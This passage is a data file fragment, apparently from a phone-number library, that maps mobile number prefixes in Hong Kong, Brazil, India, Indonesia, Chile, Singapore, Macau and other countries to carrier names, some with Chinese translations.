'852685':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'6221607':{'en': 'Esia'},
'852683':{'en': 'CM Mobile', 'zh': u('\u6da6\u8fc5\u901a\u4fe1'), 'zh_Hant': u('\u6f64\u8fc5\u901a\u4fe1')},
'852682':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'6221602':{'en': 'Esia'},
'6221603':{'en': 'Esia'},
'558799938':{'en': 'TIM'},
'558799939':{'en': 'TIM'},
'9178400':{'en': 'Idea'},
'9177719':{'en': 'Idea'},
'9177718':{'en': 'Idea'},
'558799931':{'en': 'TIM'},
'558799932':{'en': 'TIM'},
'558799933':{'en': 'TIM'},
'558799934':{'en': 'TIM'},
'558799935':{'en': 'TIM'},
'558799936':{'en': 'TIM'},
'558799937':{'en': 'TIM'},
'852607':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'9174908':{'en': 'Airtel'},
'852606':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'918112':{'en': 'Idea'},
'852605':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'9175409':{'en': 'Dishnet'},
'9175408':{'en': 'Dishnet'},
'852604':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'9175401':{'en': 'Dishnet'},
'852603':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'9175403':{'en': 'Dishnet'},
'9175402':{'en': 'Dishnet'},
'9175405':{'en': 'Dishnet'},
'9175404':{'en': 'Dishnet'},
'9175407':{'en': 'Dishnet'},
'5698101':{'en': 'Viva'},
'852979':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852978':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852601':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852971':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852970':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852973':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852972':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852975':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852974':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852977':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852976':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'569967':{'en': 'Entel'},
'569966':{'en': 'Movistar'},
'569965':{'en': 'Movistar'},
'569964':{'en': 'Movistar'},
'569963':{'en': 'Movistar'},
'569962':{'en': 'Movistar'},
'569961':{'en': 'Entel'},
'558199373':{'en': 'Claro BR'},
'569969':{'en': 'Entel'},
'9180900':{'en': 'Tata Docomo'},
'8536531':{'en': 'CTM'},
'8536530':{'en': 'CTM'},
'8536533':{'en': '3'},
'8536532':{'en': '3'},
'8536535':{'en': '3'},
'8536534':{'en': '3'},
'8536537':{'en': 'CTM'},
'8536536':{'en': 'CTM'},
'8536539':{'en': 'CTM'},
'8536538':{'en': 'CTM'},
'558599639':{'en': 'TIM'},
'558599638':{'en': 'TIM'},
'659123':{'en': 'SingTel'},
'659122':{'en': 'SingTel'},
'659125':{'en': 'SingTel'},
'659124':{'en': 'SingTel'},
'659126':{'en': 'SingTel'},
'558599631':{'en': 'TIM'},
'6226491':{'en': 'Esia'},
'558599633':{'en': 'TIM'},
'558599632':{'en': 'TIM'},
'558599635':{'en': 'TIM'},
'558599634':{'en': 'TIM'},
'558599637':{'en': 'TIM'},
'558599636':{'en': 'TIM'},
'556898408':{'en': 'Brasil Telecom GSM'},
'556898409':{'en': 'Brasil Telecom GSM'},
'556898404':{'en': 'Brasil Telecom GSM'},
'556898405':{'en': 'Brasil Telecom GSM'},
'556898406':{'en': 'Brasil Telecom GSM'},
'556898407':{'en': 'Brasil Telecom GSM'},
'556898401':{'en': 'Brasil Telecom GSM'},
'556898402':{'en': 'Brasil Telecom GSM'},
'556898403':{'en': 'Brasil Telecom GSM'},
'917806':{'en': 'Reliance'},
'557199209':{'en': 'TIM'},
'557199208':{'en': 'TIM'},
'557199207':{'en': 'TIM'},
'557199206':{'en': 'TIM'},
'557199205':{'en': 'TIM'},
'557199204':{'en': 'TIM'},
'557199203':{'en': 'TIM'},
'557199202':{'en': 'TIM'},
'557199201':{'en': 'TIM'},
'9174929':{'en': 'Idea'},
'9174928':{'en': 'Idea'},
'559899158':{'en': 'Vivo'},
'559899159':{'en': 'Vivo'},
'559899156':{'en': 'Vivo'},
'559899157':{'en': 'Vivo'},
'559899154':{'en': 'Vivo'},
'559899155':{'en': 'Vivo'},
'559899152':{'en': 'Vivo'},
'559899153':{'en': 'Vivo'},
'559899151':{'en': 'Vivo'},
'556198182':{'en': 'TIM'},
'556198183':{'en': 'TIM'},
'556198181':{'en': 'TIM'},
'556198186':{'en': 'TIM'},
'556198187':{'en': 'TIM'},
'556198184':{'en': 'TIM'},
'556198185':{'en': 'TIM'},
'9180030':{'en': 'Hexacom'},
'556198188':{'en': 'TIM'},
'556198189':{'en': 'TIM'},
'559798121':{'en': 'TIM'},
'569742':{'en': 'Movistar'},
'569741':{'en': 'Movistar'},
'569740':{'en': 'Claro'},
'569747':{'en': 'Movistar'},
'569746':{'en': 'Movistar'},
'569745':{'en': 'Movistar'},
'569744':{'en': 'Movistar'},
'60154805':{'en': 'Offisgate'},
'569749':{'en': 'Movistar'},
'569748':{'en': 'Movistar'},
'60154801':{'en': 'Telekom'},
'60154802':{'en': 'ARL'},
'559499970':{'en': 'Oi'},
'569761':{'en': 'Movistar'},
'559999108':{'en': 'Vivo'},
'559499973':{'en': 'Oi'},
'559499974':{'en': 'Oi'},
'559499975':{'en': 'Oi'},
'559499977':{'en': 'Oi'},
'559999102':{'en': 'Vivo'},
'559499979':{'en': 'Oi'},
'559999101':{'en': 'Vivo'},
'559999106':{'en': 'Vivo'},
'559999107':{'en': 'Vivo'},
'559999104':{'en': 'Vivo'},
'559999105':{'en': 'Vivo'},
'658610':{'en': 'SingTel'},
'658611':{'en': 'M1'},
'658612':{'en': 'M1'},
'658613':{'en': 'M1'},
'658614':{'en': 'M1'},
'658615':{'en': 'SingTel'},
'658616':{'en': 'SingTel'},
'658617':{'en': 'SingTel'},
'658618':{'en': 'SingTel'},
'658619':{'en': 'SingTel'},
'556199628':{'en': 'Vivo'},
'556398404':{'en': 'Brasil Telecom GSM'},
'62736402':{'en': 'Esia'},
'559499955':{'en': 'Oi'},
'556699968':{'en': 'Vivo'},
'556699969':{'en': 'Vivo'},
'556699966':{'en': 'Vivo'},
'556699967':{'en': 'Vivo'},
'556699964':{'en': 'Vivo'},
'556699965':{'en': 'Vivo'},
'556699962':{'en': 'Vivo'},
'556699963':{'en': 'Vivo'},
'556699961':{'en': 'Vivo'},
'8536346':{'en': 'CTM'},
'62736403':{'en': 'Esia'},
'8536655':{'en': 'CTM'},
'658630':{'en': 'M1'},
'86147':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86145':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'9175388':{'en': 'Airtel'},
'9175389':{'en': 'Dishnet'},
'9175386':{'en': 'Dishnet'},
'9175387':{'en': 'Dishnet'},
'9175384':{'en': 'Dishnet'},
'9175385':{'en': 'Dishnet'},
'9175382':{'en': 'Dishnet'},
'9175383':{'en': 'Dishnet'},
'9175380':{'en': 'Dishnet'},
'8536656':{'en': '3'},
'9176389':{'en': 'Vodafone'},
'9176388':{'en': 'Airtel'},
'84898':{'en': 'MobiFone'},
'84899':{'en': 'MobiFone'},
'59069043':{'en': 'Digicel'},
'59069042':{'en': 'Digicel'},
'9174711':{'en': 'Airtel'},
'9183277':{'en': 'Reliance Jio'},
'9177380':{'en': 'Airtel'},
'917800':{'en': 'Vodafone'},
'59069049':{'en': 'Orange'},
'59069048':{'en': 'Orange'},
'62435989':{'en': 'Esia'},
'62435988':{'en': 'Esia'},
'5591991':{'en': 'Vivo'},
'62435985':{'en': 'Esia'},
'917999':{'en': 'Reliance Jio'},
'62435987':{'en': 'Esia'},
'62435986':{'en': 'Esia'},
'61417':{'en': 'Telstra'},
'61416':{'en': 'Vodafone'},
'61415':{'en': 'Vodafone'},
'61414':{'en': 'Vodafone'},
'61413':{'en': 'Optus'},
'61412':{'en': 'Optus'},
'61411':{'en': 'Optus'},
'61410':{'en': 'Vodafone'},
'61419':{'en': 'Telstra'},
'61418':{'en': 'Telstra'},
'917993':{'en': 'Airtel'},
'62852':{'en': 'Telkomsel'},
'555499949':{'en': 'Vivo'},
'555499948':{'en': 'Vivo'},
'62853':{'en': 'Telkomsel'},
'555499945':{'en': 'Vivo'},
'555499944':{'en': 'Vivo'},
'555499947':{'en': 'Vivo'},
'555499946':{'en': 'Vivo'},
'555499941':{'en': 'Vivo'},
'555499943':{'en': 'Vivo'},
'555499942':{'en': 'Vivo'},
'62851':{'en': 'Telkomsel'},
'55859999':{'en': 'TIM'},
'9182290':{'en': 'Idea'},
'62857':{'en': 'IM3'},
'556199804':{'en': 'Vivo'},
'556199805':{'en': 'Vivo'},
'556199806':{'en': 'Vivo'},
'556199807':{'en': 'Vivo'},
'556199801':{'en': 'Vivo'},
'556199802':{'en': 'Vivo'},
'556199803':{'en': 'Vivo'},
'559399197':{'en': 'Vivo'},
'559399196':{'en': 'Vivo'},
'559399195':{'en': 'Vivo'},
'559399194':{'en': 'Vivo'},
'559399193':{'en': 'Vivo'},
'559399192':{'en': 'Vivo'},
'556298101':{'en': 'TIM'},
'8525905':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'6275298':{'en': 'Esia'},
'62858':{'en': 'IM3'},
'62859':{'en': 'XL'},
'9182702':{'en': 'Telewings'},
'9182703':{'en': 'Telewings'},
'6228391':{'en': 'Esia'},
'6228399':{'en': 'Esia'},
'558599402':{'en': 'Claro BR'},
'558599403':{'en': 'Claro BR'},
'6221413':{'en': 'Esia'},
'558599401':{'en': 'Claro BR'},
'6221415':{'en': 'Esia'},
'6221414':{'en': 'Esia'},
'558599404':{'en': 'Claro BR'},
'6221416':{'en': 'Esia'},
'6221418':{'en': 'Esia'},
'556899968':{'en': 'Vivo'},
'556899969':{'en': 'Vivo'},
'559299394':{'en': 'Vivo'},
'559299395':{'en': 'Vivo'},
'559299392':{'en': 'Vivo'},
'559299393':{'en': 'Vivo'},
'559299390':{'en': 'Vivo'},
'559299391':{'en': 'Vivo'},
'556899961':{'en': 'Vivo'},
'556899962':{'en': 'Vivo'},
'556899963':{'en': 'Vivo'},
'556899964':{'en': 'Vivo'},
'556899965':{'en': 'Vivo'},
'556899966':{'en': 'Vivo'},
'556899967':{'en': 'Vivo'},
'85586':{'en': 'Smart'},
'557199926':{'en': 'Vivo'},
'557199927':{'en': 'Vivo'},
'557199924':{'en': 'Vivo'},
'557199925':{'en': 'Vivo'},
'557199922':{'en': 'Vivo'},
'557199923':{'en': 'Vivo'},
'5584999':{'en': 'TIM'},
'557199921':{'en': 'Vivo'},
'556198507':{'en': 'Brasil Telecom GSM'},
'5584991':{'en': 'Claro BR'},
'557199929':{'en': 'Vivo'},
'917802':{'en': 'Telewings'},
'918335':{'en': 'Vodafone'},
'918332':{'en': 'Cellone'},
'9175104':{'en': 'Idea'},
'918330':{'en': 'Cellone'},
'9175105':{'en': 'Idea'},
'9175106':{'en': 'Idea'},
'9175107':{'en': 'Idea'},
'918221':{'en': 'Idea'},
'9175100':{'en': 'Airtel'},
'9175101':{'en': 'Idea'},
'558299315':{'en': 'Claro BR'},
'6254291':{'en': 'Esia'},
'9175103':{'en': 'Idea'},
'67663':{'en': 'U-Call'},
'67666':{'en': 'U-Call'},
'67667':{'en': 'U-Call'},
'67664':{'en': 'U-Call'},
'67665':{'en': 'U-Call'},
'6273599':{'en': 'Esia'},
'67669':{'en': 'U-Call'},
'5699969':{'en': 'Entel'},
'5699968':{'en': 'Entel'},
'5699961':{'en': 'Movistar'},
'5699960':{'en': 'Movistar'},
'5699963':{'en': 'Movistar'},
'5699962':{'en': 'Movistar'},
'5699965':{'en': 'Entel'},
'5699964':{'en': 'Movistar'},
'5699967':{'en': 'Entel'},
'5699966':{'en': 'Entel'},
'918309':{'en': 'Reliance Jio'},
'918308':{'en': 'Idea'},
'918307':{'en': 'Reliance'},
'918306':{'en': 'Reliance'},
'918305':{'en': 'Reliance'},
'918304':{'en': 'CellOne'},
'918303':{'en': 'Reliance'},
'918302':{'en': 'Reliance'},
'918301':{'en': 'CellOne'},
'918300':{'en': 'CellOne'},
'918225':{'en': 'Idea'},
'62342999':{'en': 'Esia'},
'62342998':{'en': 'Esia'},
'9176468':{'en': 'CellOne'},
'9176469':{'en': 'CellOne'},
'9173638':{'en': 'Airtel'},
'9173639':{'en': 'Airtel'},
'62333988':{'en': 'Esia'},
'62333989':{'en': 'Esia'},
'62333986':{'en': 'Esia'},
'62333987':{'en': 'Esia'},
'9176460':{'en': 'Telenor'},
'62333985':{'en': 'Esia'},
'62342995':{'en': 'Esia'},
'62342997':{'en': 'Esia'},
'62342996':{'en': 'Esia'},
'658830':{'en': 'StarHub'},
'658831':{'en': 'StarHub'},
'658833':{'en': 'M1'},
'559999902':{'en': 'Oi'},
'559999903':{'en': 'Oi'},
'559999901':{'en': 'Oi'},
'559999904':{'en': 'Oi'},
'559999905':{'en': 'Oi'},
'9174785':{'en': 'Vodafone'},
'917542':{'en': 'Airtel'},
'556598142':{'en': 'TIM'},
'556598451':{'en': 'Brasil Telecom GSM'},
'556598452':{'en': 'Brasil Telecom GSM'},
'556598453':{'en': 'Brasil Telecom GSM'},
'556598454':{'en': 'Brasil Telecom GSM'},
'556598455':{'en': 'Brasil Telecom GSM'},
'556598456':{'en': 'Brasil Telecom GSM'},
'556598457':{'en': 'Brasil Telecom GSM'},
'62334989':{'en': 'Esia'},
'62334988':{'en': 'Esia'},
'62334987':{'en': 'Esia'},
'62334986':{'en': 'Esia'},
'62334985':{'en': 'Esia'},
'9177739':{'en': 'Idea'},
'9177738':{'en': 'Idea'},
'9177730':{'en': 'Idea'},
'9175460':{'en': 'Vodafone'},
'9175469':{'en': 'Vodafone'},
'9175468':{'en': 'Vodafone'},
'9173028':{'en': 'Vodafone'},
'852953':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852952':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852951':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852950':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852957':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852956':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'852955':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852954':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852958':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'63955':{'en': 'Globe'},
'63956':{'en': 'Globe'},
'63950':{'en': 'Smart'},
'62284911':{'en': 'Esia'},
'62213433':{'en': 'Esia'},
'62213432':{'en': 'Esia'},
'62213431':{'en': 'Esia'},
'62213430':{'en': 'Esia'},
'62213434':{'en': 'Esia'},
'569901':{'en': 'Movistar'},
'569900':{'en': 'Claro'},
'569903':{'en': 'Movistar'},
'569905':{'en': 'Claro'},
'569907':{'en': 'Entel'},
'569906':{'en': 'Claro'},
'569909':{'en': 'Entel'},
'569908':{'en': 'Entel'},
'5939836':{'en': 'Claro'},
'9180920':{'en': 'Tata Docomo'},
'556698125':{'en': 'TIM'},
'556698124':{'en': 'TIM'},
'556698127':{'en': 'TIM'},
'556698126':{'en': 'TIM'},
'556698121':{'en': 'TIM'},
'556698123':{'en': 'TIM'},
'556698122':{'en': 'TIM'},
'8536553':{'en': 'CTM'},
'8536552':{'en': 'CTM'},
'8536551':{'en': 'CTM'},
'658855':{'en': 'M1'},
'556698129':{'en': 'TIM'},
'556698128':{'en': 'TIM'},
'8536555':{'en': 'CTM'},
'8536554':{'en': 'CTM'},
'558599619':{'en': 'TIM'},
'558599618':{'en': 'TIM'},
'558599617':{'en': 'TIM'},
'558599616':{'en': 'TIM'},
'558599615':{'en': 'TIM'},
'558599614':{'en': 'TIM'},
'558599613':{'en': 'TIM'},
'558599612':{'en': 'TIM'},
'558599611':{'en': 'TIM'},
'9174349':{'en': 'Vodafone'},
'6223492':{'en': 'Esia'},
'6223491':{'en': 'Esia'},
'9174348':{'en': 'Vodafone'},
'557199265':{'en': 'TIM'},
'557199264':{'en': 'TIM'},
'557199267':{'en': 'TIM'},
'557199266':{'en': 'TIM'},
'557199261':{'en': 'TIM'},
'557199263':{'en': 'TIM'},
'557199262':{'en': 'TIM'},
'659811':{'en': 'SingTel'},
'659810':{'en': 'SingTel'},
'659813':{'en': 'StarHub'},
'659812':{'en': 'SingTel'},
'557199269':{'en': 'TIM'},
'557199268':{'en': 'TIM'},
'659817':{'en': 'SingTel'},
'659816':{'en': 'SingTel'},
'559899174':{'en': 'Vivo'},
'559899175':{'en': 'Vivo'},
'559899176':{'en': 'Vivo'},
'559899177':{'en': 'Vivo'},
'559899171':{'en': 'Vivo'},
'559899172':{'en': 'Vivo'},
'559899173':{'en': 'Vivo'},
'9174411':{'en': 'Idea'},
'559899178':{'en': 'Vivo'},
'559899179':{'en': 'Vivo'},
'62335996':{'en': 'Esia'},
'9180786':{'en': 'Reliance Jio'},
'60154821':{'en': 'TT dotCom'},
'559999121':{'en': 'Vivo'},
'559999122':{'en': 'Vivo'},
'559999123':{'en': 'Vivo'},
'559999124':{'en': 'Vivo'},
'559999125':{'en': 'Vivo'},
'559999126':{'en': 'Vivo'},
'559999127':{'en': 'Vivo'},
'559999128':{'en': 'Vivo'},
'559999129':{'en': 'Vivo'},
'658678':{'en': 'SingTel'},
'658679':{'en': 'SingTel'},
'658672':{'en': 'SingTel'},
'658673':{'en': 'SingTel'},
'658670':{'en': 'SingTel'},
'658671':{'en': 'SingTel'},
'658676':{'en': 'SingTel'},
'658677':{'en': 'SingTel'},
'658674':{'en': 'SingTel'},
'658675':{'en': 'SingTel'},
'8536244':{'en': 'SmarTone'},
'917665':{'en': 'Vodafone'},
'917664':{'en': 'Idea'},
'917667':{'en': 'Reliance'},
'917666':{'en': 'Reliance'},
'917661':{'en': 'Idea'},
'917660':{'en': 'Idea'},
'917663':{'en': 'Idea'},
'917662':{'en': 'Idea'},
'917669':{'en': 'Reliance'},
'917668':{'en': 'Reliance'},
'559698131':{'en': 'TIM'},
'5592991':{'en': 'Vivo'},
'559698133':{'en': 'TIM'},
'559698132':{'en': 'TIM'},
'559698135':{'en': 'TIM'},
'559698134':{'en': 'TIM'},
'9172489':{'en': 'Telewings'},
'8536248':{'en': '3'},
'9173392':{'en': 'Airtel'},
'9173720':{'en': 'Idea'},
'557499976':{'en': 'Vivo'},
'557499977':{'en': 'Vivo'},
'557499975':{'en': 'Vivo'},
'557499972':{'en': 'Vivo'},
'557499973':{'en': 'Vivo'},
'557499970':{'en': 'Vivo'},
'557499971':{'en': 'Vivo'},
'557499978':{'en': 'Vivo'},
'557499979':{'en': 'Vivo'},
'658715':{'en': 'M1'},
'658714':{'en': 'M1'},
'558899625':{'en': 'TIM'},
'6225398':{'en': 'Esia'},
'6225399':{'en': 'Esia'},
'559599148':{'en': 'Vivo'},
'559599149':{'en': 'Vivo'},
'9173280':{'en': 'Airtel'},
'559599142':{'en': 'Vivo'},
'559599143':{'en': 'Vivo'},
'559599141':{'en': 'Vivo'},
'559599146':{'en': 'Vivo'},
'559599147':{'en': 'Vivo'},
'559599144':{'en': 'Vivo'},
'559599145':{'en': 'Vivo'},
'6229399':{'en': 'Esia'},
'6229391':{'en': 'Esia'},
'558899627':{'en': 'TIM'},
'556599918':{'en': 'Vivo'},
'556599919':{'en': 'Vivo'},
'9174259':{'en': 'Hexacom'},
'9174258':{'en': 'Hexacom'},
'5939621':{'en': 'CNT'},
'5939620':{'en': 'CNT'},
'5939623':{'en': 'CNT'},
'5939622':{'en': 'CNT'},
'556599916':{'en': 'Vivo'},
'5939624':{'en': 'CNT'},
'556599914':{'en': 'Vivo'},
'556599915':{'en': 'Vivo'},
'555499963':{'en': 'Vivo'},
'555499962':{'en': 'Vivo'},
'555499961':{'en': 'Vivo'},
'555499967':{'en': 'Vivo'},
'555499966':{'en': 'Vivo'},
'555499965':{'en': 'Vivo'},
'555499964':{'en': 'Vivo'},
'555499969':{'en': 'Vivo'},
'555499968':{'en': 'Vivo'},
'558899626':{'en': 'TIM'},
'9176101':{'en': 'Idea'},
'9176100':{'en': 'Aircel'},
'9176103':{'en': 'Idea'},
'9176102':{'en': 'Idea'},
'9176105':{'en': 'Idea'},
'9176104':{'en': 'Idea'},
'9176107':{'en': 'Idea'},
'9176106':{'en': 'Idea'},
'9176109':{'en': 'Aircel'},
'9176108':{'en': 'Aircel'},
'556298165':{'en': 'TIM'},
'556298164':{'en': 'TIM'},
'556298167':{'en': 'TIM'},
'556298166':{'en': 'TIM'},
'556298161':{'en': 'TIM'},
'556298163':{'en': 'TIM'},
'556298162':{'en': 'TIM'},
'59069010':{'en': 'UTS'},
'9178238':{'en': 'Reliance'},
'556298169':{'en': 'TIM'},
'556298168':{'en': 'TIM'},
'555599939':{'en': 'Vivo'},
'555599938':{'en': 'Vivo'},
'555599937':{'en': 'Vivo'},
'555599936':{'en': 'Vivo'},
'555599935':{'en': 'Vivo'},
'555599934':{'en': 'Vivo'},
'555599933':{'en': 'Vivo'},
'555599932':{'en': 'Vivo'},
'555599931':{'en': 'Vivo'},
'559199925':{'en': 'Oi'},
'88016':{'en': 'Airtel'},
'88017':{'en': 'Grameenphone'},
'6013':{'en': 'Celcom'},
'6012':{'en': 'Maxis'},
'6015881':{'en': 'Packet One'},
'6017':{'en': 'Maxis'},
'6016':{'en': 'DiGi'},
'6019':{'en': 'Celcom'},
'88018':{'en': 'Robi'},
'88019':{'en': 'Banglalink'},
'62562994':{'en': 'Esia'},
'62562991':{'en': 'Esia'},
'556399911':{'en': 'Vivo'},
'62562993':{'en': 'Esia'},
'62562992':{'en': 'Esia'},
'558899623':{'en': 'TIM'},
'559498146':{'en': 'TIM'},
'559498147':{'en': 'TIM'},
'559498144':{'en': 'TIM'},
'559498145':{'en': 'TIM'},
'62361602':{'en': 'Esia'},
'559498142':{'en': 'TIM'},
'62361600':{'en': 'Esia'},
'62361601':{'en': 'Esia'},
'62361606':{'en': 'Esia'},
'62361604':{'en': 'Esia'},
'62361605':{'en': 'Esia'},
'917896':{'en': 'Airtel'},
'917897':{'en': 'Airtel'},
'917894':{'en': 'Airtel'},
'917895':{'en': 'Airtel'},
'917892':{'en': 'Reliance Jio'},
'917893':{'en': 'Airtel'},
'917890':{'en': 'Idea'},
'917891':{'en': 'Idea'},
'559498141':{'en': 'TIM'},
'917898':{'en': 'Airtel'},
'917899':{'en': 'Idea'},
'557199908':{'en': 'Vivo'},
'557199909':{'en': 'Vivo'},
'557199904':{'en': 'Vivo'},
'557199905':{'en': 'Vivo'},
'557199906':{'en': 'Vivo'},
'557199907':{'en': 'Vivo'},
'557199901':{'en': 'Vivo'},
'557199902':{'en': 'Vivo'},
'557199903':{'en': 'Vivo'},
'9176568':{'en': 'CellOne'},
'558399948':{'en': 'TIM'},
'558399941':{'en': 'TIM'},
'558399940':{'en': 'TIM'},
'558399943':{'en': 'TIM'},
'558399942':{'en': 'TIM'},
'558399945':{'en': 'TIM'},
'558399944':{'en': 'TIM'},
'558399947':{'en': 'TIM'},
'558399946':{'en': 'TIM'},
'6272199':{'en': 'Esia'},
'6272190':{'en': 'Esia'},
'6272193':{'en': 'Esia'},
'8536652':{'en': 'CTM'},
'659716':{'en': 'SingTel'},
'659714':{'en': 'SingTel'},
'659715':{'en': 'SingTel'},
'659712':{'en': 'SingTel'},
'659713':{'en': 'SingTel'},
'659710':{'en': 'SingTel'},
'659711':{'en': 'SingTel'},
'67649':{'en': 'U-Call'},
'67646':{'en': 'U-Call'},
'558299444':{'en': 'Claro BR'},
'62341681':{'en': 'Esia'},
'62341682':{'en': 'Esia'},
'55779814':{'en': 'Claro BR'},
'556398133':{'en': 'TIM'},
'556398132':{'en': 'TIM'},
'55779810':{'en': 'Claro BR'},
'55779811':{'en': 'Claro BR'},
'55779812':{'en': 'Claro BR'},
'55779813':{'en': 'Claro BR'},
'918369':{'en': 'Reliance Jio'},
'556199826':{'en': 'Vivo'},
'917780':{'en': 'Airtel'},
'918360':{'en': 'Reliance Jio'},
'556199824':{'en': 'Vivo'},
'5588985':{'en': 'Oi'},
'9172839':{'en': 'Idea'},
'9172838':{'en': 'Idea'},
'556199825':{'en': 'Vivo'},
'9175919':{'en': 'Vodafone'},
'9174784':{'en': 'Vodafone'},
'9172831':{'en': 'Vodafone'},
'556199822':{'en': 'Vivo'},
'601881':{'en': 'YTL'},
'601880':{'en': 'YTL'},
'601887':{'en': 'U Mobile'},
'9172834':{'en': 'Vodafone'},
'9172837':{'en': 'Vodafone'},
'556199823':{'en': 'Vivo'},
'5588988':{'en': 'Oi'},
'9174786':{'en': 'Vodafone'},
'9173610':{'en': 'Vodafone'},
'5588989':{'en': 'Oi'},
'9174781':{'en': 'Airtel'},
'556298126':{'en': 'TIM'},
'9173618':{'en': 'Vodafone'},
'559699177':{'en': 'Vivo'},
'9174783':{'en': 'Airtel'},
'918219':{'en': 'Reliance Jio'},
'9174782':{'en': 'Airtel'},
'918218':{'en': 'Reliance Jio'},
'9175910':{'en': 'Idea'},
'559699179':{'en': 'Vivo'},
'9174789':{'en': 'Vodafone'},
'9174788':{'en': 'Vodafone'},
'852550':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'917429':{'en': 'Reliance'},
'62295995':{'en': 'Esia'},
'9174920':{'en': 'Idea'},
'917906':{'en': 'Reliance Jio'},
'556598436':{'en': 'Brasil Telecom GSM'},
'556598437':{'en': 'Brasil Telecom GSM'},
'556598434':{'en': 'Brasil Telecom GSM'},
'556598435':{'en': 'Brasil Telecom GSM'},
'556598432':{'en': 'Brasil Telecom GSM'},
'556598433':{'en': 'Brasil Telecom GSM'},
'556598431':{'en': 'Brasil Telecom GSM'},
'556598438':{'en': 'Brasil Telecom GSM'},
'556598439':{'en': 'Brasil Telecom GSM'},
'9177750':{'en': 'Idea'},
'9177759':{'en': 'Idea'},
'9177758':{'en': 'Idea'},
'557999603':{'en': 'Vivo'},
'557999602':{'en': 'Vivo'},
'557999601':{'en': 'Vivo'},
'557999600':{'en': 'Vivo'},
'557999607':{'en': 'Vivo'},
'557999606':{'en': 'Vivo'},
'557999605':{'en': 'Vivo'},
'557999604':{'en': 'Vivo'},
'917908':{'en': 'Reliance Jio'},
'917353':{'en': 'Idea'},
'917909':{'en': 'Idea'},
'917600':{'en': 'Airtel'},
'6229891':{'en': 'Esia'},
'917607':{'en': 'Airtel'},
'62322924':{'en': 'Esia'},
'62322922':{'en': 'Esia'},
'62322923':{'en': 'Esia'},
'62322920':{'en': 'Esia'},
'62322921':{'en': 'Esia'},
'918296':{'en': 'Tata Docomo'},
'852681':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'63932':{'en': 'Sun'},
'63933':{'en': 'Sun'},
'63930':{'en': 'Smart'},
'917727':{'en': 'Hexacom'},
'63936':{'en': 'Globe'},
'63937':{'en': 'Globe'},
'63935':{'en': 'Globe'},
'63938':{'en': 'Smart'},
'63939':{'en': 'Smart'},
'9181010':{'en': 'Reliance'},
'569929':{'en': 'Entel'},
'622993':{'en': 'Esia'},
'559599959':{'en': 'Oi'},
'569922':{'en': 'Movistar'},
'569921':{'en': 'Entel'},
'569920':{'en': 'Claro'},
'569927':{'en': 'Movistar'},
'569926':{'en': 'Movistar'},
'569925':{'en': 'Movistar'},
'569924':{'en': 'Movistar'},
'8536575':{'en': '3'},
'8536574':{'en': '3'},
'8536577':{'en': '3'},
'622991':{'en': 'Esia'},
'8536571':{'en': 'China Telecom'},
'8536570':{'en': 'China Telecom'},
'8536573':{'en': 'China Telecom'},
'8536572':{'en': 'China Telecom'},
